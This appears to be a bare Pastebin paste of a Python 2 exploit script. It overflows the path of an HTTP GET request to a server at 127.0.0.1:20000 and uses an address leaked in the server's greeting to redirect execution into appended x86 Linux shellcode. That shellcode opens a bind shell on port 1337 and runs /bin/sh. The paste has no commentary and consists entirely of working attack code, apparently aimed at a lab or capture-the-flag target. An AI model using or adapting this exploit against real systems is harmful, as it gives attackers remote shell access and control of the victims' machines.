Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2014
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. from TCPClient import TCPClient
  2. import os
  3. import struct
  4. import sys
  5.  
  6.  
  7. con = TCPClient('127.0.0.1', 20000)
  8.  
  9. hdr = con.recvline()
  10. bufAddr = int(hdr[21:31], 16)
  11. print "rcv>> %s" % (hdr)
  12.  
  13. buf = ""
  14. buf += "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
  15. buf += "\x43\x52\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
  16. buf += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
  17. buf += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
  18. buf += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
  19. buf += "\x89\xe1\xcd\x80"
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26. EBP = "AAAA"
  27. EIP = "BBBB"
  28. ESP = "CCCC"
  29. dummyPath = "/" + 135 * "A" + EBP + EIP + ESP
  30. dummyReq = 'GET %s HTTP/1.1' % (dummyPath)
  31. shellcodePtr = bufAddr + len(dummyReq)
  32. EIP = struct.pack('<L', shellcodePtr)
  33.  
  34.  
  35. p = "/" + 135 * "A" + EBP + EIP + ESP
  36. req = 'GET %s HTTP/1.1' % (p)
  37.  
  38.  
  39.  
  40. total = req + buf
  41. con.send(total)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement